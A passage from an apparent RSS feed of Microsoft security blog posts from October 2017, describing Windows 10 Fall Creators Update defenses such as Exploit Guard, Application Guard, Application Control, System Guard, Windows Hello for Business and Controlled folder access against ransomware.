It is important to note that Exploit Guard’s exploit protection accepts a different format for the mitigation configuration than EMET did. To make the process of migrating to Exploit Protection and Windows Defender Exploit Guard easier, there is a PowerShell module that converts EMET XML settings files into Windows 10 mitigation policies for Exploit Guard. This PowerShell module also provides an additional interface for Windows Defender Security Center to configure its mitigation settings.

More information about this PowerShell module, and details on the EMET features relative to security in Windows 10 can be found in the topic Understanding Windows 10 in relation to the Enhanced Mitigation Experience Toolkit. For more details on Windows 10’s threat mitigations, please refer to our Windows 10 Threat Mitigations. Finally, the Windows 10 Security baseline provides a recommended Exploit Protection XML to apply.

Windows Defender Exploit Guard manageability

All the Windows Defender Exploit Guard components are manageable by Group Policy (GP), System Center Configuration Manager (SCCM), and Mobile Device Management (MDM) such as Microsoft Intune.

All components support running in both Audit and Block modes. When Block mode is enabled and a corresponding malicious behavior is observed, Windows Defender Exploit Guard blocks the event from occurring in real-time. Block events for Attack Surface Reduction, Controlled folder access and Network Protection surface a notification toast to the endpoint in real-time as well as an event log, and can be centrally viewed by security operations personnel in the Windows Defender Advanced Threat Protection (WD ATP) console. Instead of actually blocking the behavior, Audit Mode detects if an event would have occurred and surfaces that information to the event log and WD ATP console. This enables enterprises to evaluate how a rule or feature within Windows Defender Exploit Guard will perform in their enterprise and determine if there are exclusions that are needed to setup. Additionally, Audit mode provides an immense amount of optics into what kinds of behaviors are going on across the enterprise, providing valuable information to security admins to determine if a rule needs to be moved to block mode.

Windows Defender Advanced Threat Protection

Windows Defender ATP provides a single pane of glass experience for managing and viewing all the security feeds and events happening on managed endpoints across the enterprise. With Windows Defender ATP, the entire process tree execution can be seen for Exploit Guard events, making it extremely easy to determine what happened, such that a proper response can be executed. In the figure below you can see an example of how a malicious document in Word was used to drop an executable, which was then blocked when it attempted to access the C:\Demo folder.

Controlled folder access blocking sample ransomware

Network Protection blocking phishing test via Chrome browser

Exploit Guard is also surfaced in the Security Analytics dashboard of the Windows Defender ATP console, enabling enterprises to view how the feature is configured across their device and to drive compliance with recommendations based on best practice security configurations.

In the end, Windows Defender Exploit Guard is one of the most important new defenses that we’ve added to Windows 10 in the Fall Creators Update. In many ways, it completes our stack for preventive protection. Organizations that deploy it alongside Windows Defender Antivirus will find that they have a highly effective and differentiated solution for addressing modern fileless attacks and host intrusion. We recommend you evaluate it at the earliest opportunity and we look forward to your feedback.

 

Misha Kutsovsky (@mkutsovsky)

Program Manager, Windows Active Defense

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

]]>
Making Microsoft Edge the most secure browser with Windows Defender Application Guardhttps://blogs.technet.microsoft.com/mmpc/2017/10/23/making-microsoft-edge-the-most-secure-browser-with-windows-defender-application-guard/Mon, 23 Oct 2017 13:04:12 +0000https://blogs.technet.microsoft.com/mmpc/?p=16416Innovation in the attack space is constant as adversaries increase in both determination and sophistication. In response to increased investments in defense, attackers are adapting and improving tactics at breakneck speed. The good news is that defenders are also innovating and disrupting long reliable attack methods with new technologies. In Windows 10 we’re not just delivering tit for tat point solutions for the latest attacks; instead we’re looking closely at the root causes and are transforming the platform such that we can eradicate entire classes of attacks. Some of the most impactful improvements will come by way of attack surface area reduction and architectural change. One example of these kinds of disruptive approaches can be found in Windows Defender Application Guard (WDAG).

WDAG introduces a slimmed down version of the Hyper-V virtualization technology to bring Azure cloud-grade isolation and security segmentation to Windows applications with Microsoft Edge. WDAG for Microsoft Edge is the strongest form of isolation today, and now with the recently released Windows 10 version 1709, also known as the Fall Creators Update, users of Windows 10 Enterprise can run the Microsoft Edge browser in a fully isolated hardware environment. Doing so provides the highest level of protection against zero-day exploits, unpatched vulnerabilities, and web-based malware. The WDAG container provides a temporary, contained environment for users to experience the Internet. The ability to refresh the container when a user logs off means malware does not have a place to persist.

Threat landscape

In recent years, software isolation of commonly attacked applications such as browsers and document readers have become ubiquitous. Software isolation seeks to contain the damage in the event an application is successfully compromised by an exploit. When sandboxes are in place, malicious code delivered by a successful application exploit is restricted from accessing data and resources on the host operating system, which prevents attacks from performing lateral movement or exfiltrating sensitive information.

Attackers have adapted their tactics rapidly in response to widespread sandboxing by shifting their attention to kernel attacks. In most software sandboxes, the kernel attack surface is left unrestricted providing attackers who have achieved code execution within a sandboxed app the opportunity to "escape" and escalate the attack. This growing trend is evidenced by the data collected by Microsoft threat analysts on the number of known kernel exploits for Windows

Number of kernel exploits by year collected by Microsoft

The sharp increase in recent years is attributed to attackers leveraging kernel exploits to escape software sandboxes. Security-conscious enterprises can augment Microsoft Edge top level exploit mitigation and isolation features with an additional layer of kernel protection provided by Windows Defender Application Guard for Microsoft Edge.

Virtualization-based isolation

Microsoft has moved to counter the increase in kernel attacks through a major technological breakthrough in sandbox technology. Leveraging the power of hardware-supported virtualization technology, Windows Defender Application Guard creates what can be thought of as a "miniature" version of the parent Windows OS to host Microsoft Edge when browsing the untrusted internet. In the event that a user clicks a link or visits a site containing a full exploit chain, the container "guest" kernel is fully isolated from the host machine that contains the sensitive or enterprise data and enterprise credentials. This means even a zero-day kernel exploit will only result in a container compromise, which means that user data, apps, the organization's network, and the rest of the OS can remain secure. The container will be disposed of, removing all traces of the attack when the user logs off.

This isolation breakthrough was achieved by creating a new form of container technology that safely shares resources between a guest container and the parent OS. Unlike a standard virtual machine, the WDAG container technology securely shares DLL, executables, and other operating system resources between the guest and host, minimizing the resources needed to create a WDAG VM. As result, the unique disk footprint of the WDAG container image is an incredible 18 megabytes! In addition, the Windows operating system has been "enlightened" with full support for WDAG container apps, which includes the ability to suspend or deprioritize the container when not in use, helping to preserve battery life and make the experience of using a container app comparable to a native app. Core operating system functions like language settings, accessibility, and many other features all work across the container, making the advanced security provided by WDAG nearly transparent to the user.

Security is paramount to the value proposition for the WDAG container technology, so the Microsoft Offensive Security Research (OSR) and Windows Security Assurance (SA) partnered with the WDAG engineering team to build the technology securely from the ground up. The benefits of this partnership had a dramatic impact on WDDAG and the security promise we were ultimately able to make with it. The process we used will be detailed at the upcoming Microsoft BlueHat Conference as we think it represents a powerful model for future security-related research and development here at Microsoft. With WDAG now shipping, the effort to better secure it will continue; WDAG is continuously reviewed with a standing WDAG security bug bounty with payouts of up to $250K for discovery of issues effecting the hypervisor that it is built upon.

So in a nutshell, WDAG offers VM-grade isolation at significantly lower system resources and user experience cost.

WDAG management and Windows Defender ATP integration

User experience and isolation customizations are some of the most commonly discussed topics when we talk about isolation based security solutions. Windows Defender Application Guard offers several policies to let organizations customize the user experience and security policies based on the enterprise risk profile and security posture.

The most critical policy from a trust decision perspective is the network isolation policy that defines what URL or network locations are not managed or explicitly trusted by an enterprise and thus will open in the isolated container environment, versus those that will open on the native host browser. WDAG makes this simple to manage with options for IP- and host-based policy definitions. This policy is also shared across security features such as Windows Information Protection, where it is used to protect against enterprise data leakage

Clipboard and print policies control user initiated data exchange between Windows 10 host and the WDAG container. Persistence policy determines whether WDAG should discard all user generated session data (cookies, downloaded files, temporary Internet files etc.) on container recycle or preserve it for later use in the container.

For more details on the WDAG policies, please refer to product documentation.

Windows Defender Application Guard Management Options

For customers of Windows Defender ATP and Microsoft 365, WDAG offers deep integration with WDATP’s post-breach and EDR capabilities. This is an important integration point as it allows WDAG customers a view into any malicious attacks that have been prevented and isolated within the container and enables further remediation and defensive actions across the Windows multiple layers of security.

The WDATP team has developed a full range of container specific indicators of attack (IOAs) that are capable of detecting browser and kernel compromises. We recently demonstrated some of these capabilities in a Microsoft mechanics session that highlights the power of WDAG + WDATP as the pre- and post-breach solutions in a synthetic zero-day attack scenario:

Windows Defender ATP console showing WDAG container events

Windows Defender ATP users benefit from an investigation experience that combines events from the container and host into unified timeline while still allowing container-specific investigation through visual cues and event filtering.

The combination of the pre-breach isolation capability of WDAG and the deep investigation and analytics provided by Windows Defender ATP can provide customers with a robust defense even against the most sophisticated apex attackers.

Conclusion

Windows Defender Application Guard provides an additional hardware isolation-level capability on top of Microsoft Edge’s formidable exploit mitigation and sandbox features. This was enabled by engineering hardware container-based isolation capabilities into the Windows core. WDAG provides a near-native user experience with low resource consumption, deep OS enlightenment, and moderate hardware requirements. Enterprises deploying the Fall Creators Update can immediately deploy WDAG and enjoy the benefits of world-class hardware-rooted security that has enabled Microsoft Edge to become the most secure browser for enterprises.

 

David Weston (@dwizzzleMSFT)

Principal Group Manager, Windows & Devices Group, Security & Enterprise

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

]]>
Introducing Windows Defender Application Controlhttps://blogs.technet.microsoft.com/mmpc/2017/10/23/introducing-windows-defender-application-control/Mon, 23 Oct 2017 13:03:22 +0000https://blogs.technet.microsoft.com/mmpc/?p=16455Application control is a crucial line of defense for protecting enterprises given today’s threat landscape, and it has an inherent advantage over traditional antivirus solutions. Specifically, application control flips the model from one where all applications are assumed trustworthy by default to one where applications must earn trust in order to run. Many organizations, like the Australian Signals Directorate, understand this and frequently cite application control as one of the most effective means for addressing the threat of executable file-based malware (.exe, .dll, etc.).

While most customers inherently understand the value of application control, the reality is that few customers have been able to employ application control solutions in a manageable way. Consequently, adoption of application control solutions is low. In fact, we estimate that only about 20% of our customers are using any type of application control technology; in many cases these customers use it only on a subset of devices because of the difficulty of creating and maintaining a comprehensive Allow/Deny list. With Windows 10, version 1709, also known as the Fall Creators Update we think we have changed that, and now have a solution that is a viable option for most of our customers to adopt and deploy across nearly all of their devices.

Application Control in Windows 10

With Windows 10 we introduced Windows Defender Device Guard, a set of hardware and OS technologies that, when configured together, allow enterprises to lock down Windows systems so they operate with many of the properties of mobile devices. Device Guard would restrict devices to only run authorized apps using a feature called configurable code integrity (CI), while simultaneously hardening the OS against kernel memory attacks through the use of virtualization-based protection of code integrity (HVCI). With Device Guard’s configurable CI, specifically, customers gained access to a highly differentiated application control solution that provided several unique advantages not found in most other solutions.

First, configurable CI policy is enforced by the Windows kernel itself. As such, the policy takes effect early in the boot sequence before nearly all other OS code and before traditional antivirus solutions run. Second, configurable CI allows customers to set application control policy not only over code running in user mode, but also kernel mode hardware and software drivers and even code that runs as part of Windows. Third, customers could protect the configurable CI policy even from local administrator tampering by digitally signing the policy. This meant that changing the policy required not just administrative privilege, but also access to the organization’s digital signing process. This made it extremely difficult for an attacker or malware that managed to gain administrative privilege to alter the application control policy. And finally, the entire configurable CI enforcement mechanism could be protected by HVCI, which creates the condition where even if a vulnerability exists in kernel mode code, the likelihood that an attacker could successfully exploit it is significantly diminished. Why is this relevant? That’s because an attacker that compromises the kernel would otherwise have enough privilege to disable most system defenses and override the application control policies enforced by configurable CI or any other application control solution.

(Re-)Introducing Windows Defender Application Control

When we originally designed Device Guard it was built with a specific security promise in mind. Although there were no direct dependencies between its two main OS features, configurable CI and HVCI, we intentionally focused our marketing story around the Device Guard lockdown state you achieve when deploying them together. However, this unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately. And given that HVCI relies on the Windows virtualization-based security, it comes with additional hardware, firmware, and kernel driver compatibility requirements that some older systems can’t meet. As a result, many customers assumed that they couldn’t use configurable CI either. But configurable CI carries no specific hardware or software requirements other than running Windows 10, which means many customers were wrongly denied the benefits of this powerful application control capability.

Since the initial release of Windows 10, the world has witnessed numerous hacking and malware attacks where application control alone could have prevented the attack altogether. And so, with the Fall Creators Update we are promoting configurable CI within our security stack and giving it a name of its own: Windows Defender Application Control. We hope this branding change will help us communicate with customers about their options for application control in Windows and, in so doing, allow more of our customers to begin to approach application control within their organizations.

Does this mean Windows Defender Device Guard is going away? Not at all. Device Guard will continue to exist as a way to describe the fully locked down state achieved through the use of Windows Defender Application Control (WDAC), HVCI, and hardware and firmware security features. It also allows us to work with our OEM partners to identify specifications for devices that are "Device Guard capable" so that our joint customers can easily purchase devices that meet all of the hardware and firmware requirements of the original Device Guard scenario.

Making Application Control easier with managed installer

In the Windows 10 Creators Update (1703) released last spring we introduced an option to WDAC called managed installer to simplify the management of WDAC for organizations with centrally managed software libraries through solutions like System Center Configuration Manager. With the managed installer option, enterprises can declare trusted software distribution authorities so that any applications deployed by them are automatically authorized by the WDAC application control policy without the need to define explicit allow rules. System Center Configuration Manager 1706 added native support for WDAC and managed installer, making deployment of WDAC a two- to three-click action.

Application Control for allow list management made easy

Repositioning Windows Defender Application Control within our security stack eliminates the requirements confusion of Device Guard, and managed installer drastically simplifies options for organizations with well-managed software libraries. Yet many customers struggle to introduce application control due to business necessity or organizational resistance to central control. With these customers in mind, we are excited to introduce a new option for Windows Defender Application Control in the Fall Creators Update that will allow enterprises to leverage Microsoft’s cloud-powered Intelligent Security Graph (ISG) to automatically authorize well-known and reputable apps built from a catalog of billions of apps and binaries that run on Windows. When the ISG option is enabled, software that Microsoft’s ISG determines as being well-known and reputable will be automatically authorized without the need for specific, manually authored rules for each application or binary. This allows IT administrators to easily allow commonly used and prevalent software like Microsoft Office and Adobe Reader, while preventing unknown and known-bad software from running. This kind of cloud-driven application control will help customers protect their environments from attacks like WannaCry that run uncommon scripts or binaries, while still empowering their end users or business groups to manage their individual application needs.

Application Control for more tightly managed or centralized environments

All of the new policy options introduced in the Creators Update and the Fall Creators Update are meant to complement the WDAC policies from earlier Windows 10 releases. Code signing provides the most robust way to identify and authorize applications, and when used with explicit allow and deny rules code-signing provides enterprises the means to express the most secure application control policies. Newer controls like managed installer and ISG-driven application control give enterprises the flexibility they need to balance manageability and security demands. When these options are used with existing tools like signtool, Package Inspector and the Microsoft Store for Business’ Device Guard Signing Service, enterprises have everything they need to start the journey to more secure Windows 10 systems through application control. For apps that are in active development, Windows SDK tools like signtool are available to incorporate code signing into the build process of an application. For applications that are not in active development or acquired from third parties, Package Inspector provides a way to generate a catalog file by monitoring an application’s installation process. Once created, the catalog file can be signed using the organization’s own signature, thus allowing the organization to authorize existing applications without needing to rebuild or repackage them. Catalog signing can be done with certificates issued by the organization’s own internal PKI or by using the Device Guard Signing Service to manage code signing keys and sign catalog files. The Device Guard Signing Service automatically generates and secures organization-specific code signing keys and provides a convenient interface for uploading and signing application catalog files.

Windows Defender Application Control in Windows Defender ATP

With the Fall Creators update, Windows Defender Advanced Threat Protection (WD ATP) is getting a significant update, one of which is related to integrated management of the Windows preventive protection stack, meaning features like Windows Defender Application Control, Antivirus, Firewall, and others will all provide full optics into the malware and other types of attacks that have been encountered but successfully blocked by the Windows preventive protection stack. All of this information will be surfaced in Windows Defender ATP’s Security Center Console, which acts as a single pane of glass for the security operations team. In addition, these same preventive protection features can also be centrally enabled and configured in either System Center Configuration Manager or in Intune, as shown in the image below.

With the Fall Creators Update we believe that we have democratized application control by being one of the first solutions in the market that makes it easy to manage and enables it to work on any device running the Enterprise edition of Windows 10. Please download the Fall Creators update and begin proof of concept testing to see if Windows Defender Application Control is a good fit for your organization. We look forward to hearing your feedback so we can continue to make it a better solution for your organization and users.

 

Nazmus Sakib

Program Manager, Windows & Devices Group, Security & Enterprise

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

]]>
Hardening the system and maintaining integrity with Windows Defender System Guardhttps://blogs.technet.microsoft.com/mmpc/2017/10/23/hardening-the-system-and-maintaining-integrity-with-windows-defender-system-guard/Mon, 23 Oct 2017 13:02:36 +0000https://blogs.technet.microsoft.com/mmpc/?p=16165One of the things we spend a great deal of time thinking about here at Microsoft is how attackers will attempt to persist and evade detection once they’ve successfully compromised a device. With Windows 10 we’ve made it more difficult to find ways to exploit potential entry points, and it’s clear that its harder than it's ever been before.

The ability for an attacker to persist and evade detection is a critical part of the trade craft; compromising the integrity of the platform and defenses is the best way to get there. With Windows 7 we included a number of perimeter defenses that could be augmented with third-party solutions, but the reality is that all of those defenses could be rendered ineffective if the integrity of the platform itself is compromised. For this reason, creating the condition where the platform’s integrity can be maintained and monitored is mission-critical.

Just a few weeks ago at Ignite we announced Windows Defender System Guard, which ships in Windows 10, version 1709, also known as the Fall Creators Update. It reorganizes the existing Windows 10 system integrity features under one roof and sets us up for the next set of investments that we will make in the future. With it we hope to create the condition that the integrity of the system can’t be compromised, and if it is, you will know about it.

So, what security guarantees is Windows Defender System Guard designed to make? They include the ability to:

  1. Protect and maintain the integrity of the system as it starts up
  2. Protect and maintain the integrity of the system after it’s running
  3. Validate that system integrity has truly been maintained through local and remote attestation

Maintaining the integrity of the system as it starts up

With Windows 7, one of the means attackers would use to persist and evade detection was to install what is often referred to as a bootkit or rootkit on the system. This malicious software would start before Windows started, or during the boot process itself, enabling it to start with the highest level of privilege.

With Windows 10 running on modern hardware (i.e., Windows 8-certified or greater) we have a hardware-based root of trust that helps us ensure that no unauthorized firmware or software (e.g., bootkit) can start before the Windows bootloader. This hardware-based root of trust comes from the device’s Secure Boot feature, which is part of the Unified Extensible Firmware Interface (UEFI). After successful verification and startup of the device’s firmware and Windows bootloader, the next opportunity for attackers to tamper with the system’s integrity is while the rest of the Windows operating system and defenses are starting. As an attacker, embedding your malicious code using a rootkit within the boot process enables you to gain the maximum level of privilege and gives you the ability to more easily persist and evade detection. This is where Windows Defender System Guard protection begins with its ability to ensure that only properly signed and secure Windows files and drivers, including third party, can start on the device. At the end of the Windows boot process, System Guard will start the system’s antimalware solution which scans all third party drivers, at which point the system boot process is completed. In the end, Windows Defender System Guard helps ensure that the system securely boots with integrity and that it hasn’t been compromised before the remainder of your system defenses start.

Maintaining integrity of the system after it's running (run time)

Prior to Windows 10, if an attacker exploited the system and gained SYSTEM level privilege or they compromised the kernel itself, it was game over. The level of control that an attacker would acquire in this condition would enable them to tamper with and bypass many, if not all, of your system defenses. While we have number of development practices and technologies (e.g., Windows Defender Exploit Guard) that have made it difficult to gain this level of privilege in Windows 10, the reality is that we needed a way to maintain the integrity of the most sensitive Windows services and data, even when the highest level of privilege has been secured by an adversary.

With Windows 10 we introduced the concept of virtualization-based security (VBS), which enables us to hardware isolate the most sensitive Windows services and data; starting with the Fall Creators Update have named this environment the Windows Defender System Guard container. This secure environment provides us with the hardware-based security boundary we need to be able to secure and maintain the integrity of critical system services at run time like Credential Guard, Device Guard, Virtual TPM and parts of Windows Defender Exploit Guard, just to name a few.

Validating platform integrity after Windows running (run time)

While Windows Defender System Guard provides advanced protection that will help protect and maintain the integrity of the platform during boot and at run time, the reality is that we must apply an assume breach mentality to even our most sophisticated security technologies. We should be able to trust that the technologies are successfully doing their jobs, but we also need the ability to verify that they were successful in achieving their goals. When it comes to platform integrity, we can’t just trust the platform, which potentially could be compromised, to self-attest to its security state, and so Windows Defender System Guard includes a series of technologies that enable remote analysis of the device’s integrity.

As Windows 10 boots, a series of integrity measurements are taken by Windows Defender System Guard using the device’s Trusted Platform Module 2.0 (TPM). This process and data are hardware isolated away from Windows to help ensure that the measurement data is not subject to the type of tampering that could happen if the platform was compromised. From here, the measurements can be used to determine the integrity of the device’s firmware, hardware configuration state, and Windows boot-related components, just to name a few. After the system boots, Windows Defender System Guard signs and seals these measurements using the TPM, and, upon request a management system, like Intune or System Center Configuration Manager, can acquire them for remote analysis. From here the management system can take a series of actions, such as denying the device access to resources, if Windows Defender System Guard indicates that the device lacks integrity.

With the Fall Creators Update, Windows Defender System Guard is, for the most part, a new way of talking about a number of existing Windows 10 technologies, but it was designed to be much more than that. With the Fall Creators Update, Windows Defender System Guard enabled us to simplify both the Windows design itself and our message on how we maintain and validate platform integrity. More importantly, it helped us lay the groundwork for adding new platform integrity innovations in the future. We look forward to sharing more about the roadmap for Windows Defnder System Guard in the months to come.

 

Chris Hallum

Senior Product Manager, Windows & Devices Group, Security & Enterprise

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

 

]]>
Move away from passwords, deploy Windows Hello. Today!https://blogs.technet.microsoft.com/mmpc/2017/10/23/move-away-from-passwords-deploy-windows-hello-today/Mon, 23 Oct 2017 13:01:48 +0000https://blogs.technet.microsoft.com/mmpc/?p=16155Something we understood from the very beginning with Windows Hello for Business is our customers would approach Windows 10 in a series of phases. The first phase is to simply deploy the platform itself. From there, additional phases would follow to take advantage of optional Windows 10 technologies that require additional planning and enablement.

Since Windows 10 originally released we have continued to make significant investments to Windows Hello for Business, making it easier to deploy and easier to use, and we are seeing strong momentum with adoption and usage of Windows Hello. As we shared at Ignite 2017 conference, Windows Hello is being used by over 37 million users, and more than 200 commercial customers have started deployments of Windows Hello for Business. As many would expect, Microsoft currently runs the world’s largest production, with over 100,000 users; however, we are just one of many running at scale, the second largest having just reached 25,000 users.

With misused, default, or stolen credentials being the leading cause of data breaches (2017 Data Breach Investigations Report - Verizon) we believe Windows Hello for Business should be at the top of your priority list for what to configure next after your initial Windows 10 deployment. With it you can get your users to a multifactor authentication solution that works on any Windows 10 device – with no password to be lost, forgotten, or compromised. In the content that follows we will explain what improvements you’ll find in our latest Windows 10 releases, including the most recent version 1709, which we refer to as the Fall Creators Update.

Simplifying deployment

When it comes to deployment, the Creators Update (1703) from last spring, was the release that made Windows Hello for Business viable and deployable at scale within complex organizations like ours and many of our customers. Since then we’ve learned a great deal from early adopters and our own personal experiences with 100K plus users within Microsoft. Now with the Fall Creators Update (1709) we believe that Windows Hello for Business is in a position for mainstream deployments across organizations of all shapes, sizes, and levels of complexity. Here are some of the key improvements that are now available.

The first and most important improvement we made is improving the Admin Experience. For a successful rollout, we focused on making it easier to deploy and manage Windows Hello for Business in a variety of environment types. For some time now Windows 10 has supported Azure Active Directory and hybrid environments with Azure Active Directory Connect, enabling many of our customers to deploy Windows Hello in their environments through the cloud. With the Creators Update (1703) from last spring we added support for on-premises Active Directory-only environments enabling all organizations, particularly those in public sector, to use Windows Hello for Business.

In the just released Fall Creators Update (1709) we’ve made significant improvements to the provisioning and enrollment experience to ensure deterministic and instant enrollment. Organizations with existing public key infrastructure (PKI) and certificate deployments can deploy Windows Hello for Business leveraging their current certificate enrollment mechanisms. System Center Config Manager for certificate provisioning is no longer required for Windows Hello provisioning, and this functionality is now provided through Active Directory Federation Server (ADFS) Certificate Registration Authority. With these improvements, users who enroll in Windows Hello are provisioned instantly and can benefit from single sign-on experiences immediately after completing the enrollment process. We have published planning and deployment guides which provide detailed guidance for deploying Windows Hello for Business in your environment.

Improving user experience

While early adopters have focused much of their feedback on areas that would help us simplify deployment challenges we’ve also made significant investments to improve the user experience across a number of areas. We recognize that it’s critical for users to develop a strong preference for Windows Hello, so that they never feel compelled to go back to using passwords, and the way we’ll achieve that is by making sure Windows Hello offers a superior user experience. The improvements users can take advantage of are listed below.

PIN recovery

Windows Hello is a multi-factor authentication solution that can be used with a PIN that unlocks a key bound to the device -- something you have and something you know. If users forget the PIN, it’s important to provide a streamlined recovery experience. In the Creators update (1703), we added support for remote PIN reset on corporate owned phones. This enabled IT administrators of hybrid organizations to configure a PIN reset service that enables users to reset their PIN and recover access to the device without losing keys that were previously provisioned.

In the Fall Creators Update (1709), we have added support for self-service PIN reset from the lock screen which further improves the user experience. The user can now safely reset the PIN using Azure Multi-Factor Authentication(MFA) from the same device without having to reach out to the IT Helpdesk.

While we transition to a world without passwords, we realize that many organizations will still need to use passwords in certain circumstances (e.g.: legacy applications). Consequently users may still have passwords set to expire in accordance with IT policies. It’s easy to forget a password that you don’t use frequently; to improve the experience for such users, we introduced the option to use Hello PIN to change expired passwords.

Extending Windows Hello with new capabilities

Along with the deployment and user experience improvements we have also added new capabilities that will extend Windows Hello by providing additional security and usability benefits to users.

Dynamic lock

Introduced earlier this year in the Creators Update (1703), dynamic lock will automatically lock a device when the user is no longer within proximity. If you forget to lock your PC or tablet when you step away, Windows Hello can use a phone that's paired with your device to automatically lock it shortly after you're out of Bluetooth range. Dynamic lock can provide an additional layer of protection to help prevent unauthorized access to an unlocked, unattended device. This is a great improvement over the traditional inactivity/time based lock. Dynamic lock works with any paired phone. While still a relatively brand-new feature that users have to opt-in to, we see over 50,000 dynamic locks on daily basis keeping users safe.

Multi-factor device unlock

Until recently, you could only allow the user to unlock their device with either Face, Fingerprint or PIN. New with the Fall Creators Update (1709), Windows Hello now allows you to raise the bar by configuring Windows such that it requires users to provide a combination of additional factors and/or trusted signals to unlock their PC. For instance you can require users to use both Facial recognition and PIN to unlock their PC. In addition to the Hello gestures, we added support for trusted signals like network location and phone proximity.

Wouldn’t it be great if Windows allows you to authenticate with just Facial recognition because you are at work but when you transition to a less trustworthy location, like a coffee shop additional factors such as the proximity of your phone are added as an authentication requirement? With Fall Creators Update, this is now possible.

Windows Hello has also integrated with Intel Authenticate technology to provide additional security hardening by leveraging hardened Intel factors for network location and Bluetooth proximity, on devices that have hardware that supports Intel Authenticate technology.

Over time we’ve made many improvements to Windows Hello; with the Fall Creators Update we’ve reached a point where it’s ready for large-scale adoption for all of our customers, not just the ones with large IT organizations and big budgets. As you exit phase one of your Windows 10 plans and complete your deployments, we hope you that will put Windows Hello for Business at the top of your "What to do next?" list.

 

Pieter Wigleven

Senior Product Manager, Windows & Devices Group, Security & Enterprise

 

Special thanks to Yogesh Mehta, Mike Stephens, Sam Schumacher, and Karanbir Singh from the Windows Hello for Business team for their contribution to this blog post

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

 

]]>
Stopping ransomware where it counts: Protecting your data with Controlled folder accesshttps://blogs.technet.microsoft.com/mmpc/2017/10/23/stopping-ransomware-where-it-counts-protecting-your-data-with-controlled-folder-access/Mon, 23 Oct 2017 13:00:36 +0000https://blogs.technet.microsoft.com/mmpc/?p=16475Windows Defender Exploit Guard is a new set of host intrusion prevention capabilities included with Windows 10 Fall Creators Update. One of its features, Controlled folder access, stops ransomware in its tracks by preventing unauthorized access to your important files.

Encryption should protect your data and files. Ransomware twists the power of encryption against you and uses it to take files hostage. This means losing control of your data: documents, precious photos and videos, and other important files.

For enterprises and small businesses, losing access to files can mean disrupted operations. Worse, for critical infrastructure, ransomware infection can halt the delivery of services. Just this year, successive ransomware campaigns and no less than two global outbreaks immobilized hospitals, transport systems, and other high-tech facilities.

Ransomware continues to evolve and impact many types of devices in different environments. At Microsoft, we continue to harden Windows 10 against ransomware and other threats. Our end-to-end security suite integrates multiple next-generation defense technologies that help our customers prevent, detect, and respond to ransomware attacks.

Controlled folder access adds another layer of real-time protection against ransomware.

Crackdown on unauthorized encryption

Ransomware campaigns continue to grow and thrive as they are a lucrative business for cybercriminals. Ransomware gets into a victim’s device, encrypting files and data. Because these files are held hostage, cybercriminals can extort money from their victims.

Controlled folder access brings you right back in control of determining what programs can access your data. This feature protects your files from tampering, in real-time, by locking folders so that ransomware and other unauthorized apps can’t access them. It’s like putting your crown jewels in a safe whose key only you hold.

Cybercriminals can’t extort money if they can’t encrypt your files. Controlled folder access is a powerful tool that can render ransomware attacks worthless.

How Controlled folder access works

Controlled folder access locks down folders, allowing only authorized apps to access files. Unauthorized apps, including malicious executable files, DLLs, and scripts are denied access to folders.

This feature can be enabled in Windows Defender Security Center app in Windows 10.

By default, Controlled folder access protects common folders where documents and other important data are stored. But it’s also flexible. You can add additional folders to protect, including those on other drives. You can also allow apps that you trust to access protected folders, so if you’re using unique or custom programs, your productivity is not affected.

When enabled, Controlled folder access prevents access by unauthorized apps and notifies you of an attempt to access or modify files in protected folders. It delivers this protection in real-time.

Enabling and managing Controlled folder access in enterprise networks

